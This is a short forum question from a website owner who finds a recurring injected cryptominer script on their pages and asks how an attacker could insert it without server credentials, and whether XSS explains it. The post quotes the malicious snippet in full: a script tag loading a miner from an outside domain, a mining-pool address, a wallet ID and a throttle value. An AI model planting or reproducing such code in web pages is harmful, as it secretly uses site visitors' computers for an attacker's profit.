Recently I noticed following javascript on several of my pages (usually just before closing body tag):
<script src="https://ethtrader.de/perfekt/perfekt.js?perfekt=wss://?algo=cn?variant=0?jason=monerov.ingest.cryptoknight.cc:9221"></script><script type="text/javascript">PerfektStart('46PgJtwUkg18z7Cu7xAd2F972GSEQUzoGHWP4fwUHbdj7qgZqhf27Pm7Y7BdMUH2gahQdrCmbKxNuJAyUrGfThnhCgEyinb', 'x');throttleMiner = 50;</script>
I realize someone is putting cryptominer on my pages. If I delete it several days later it returns.
My question is, how is it possible for an attacker to inject code directly into the document? Wouldn't you require server credentials to access and edit files on the server?
Is this possible with XSS attacks?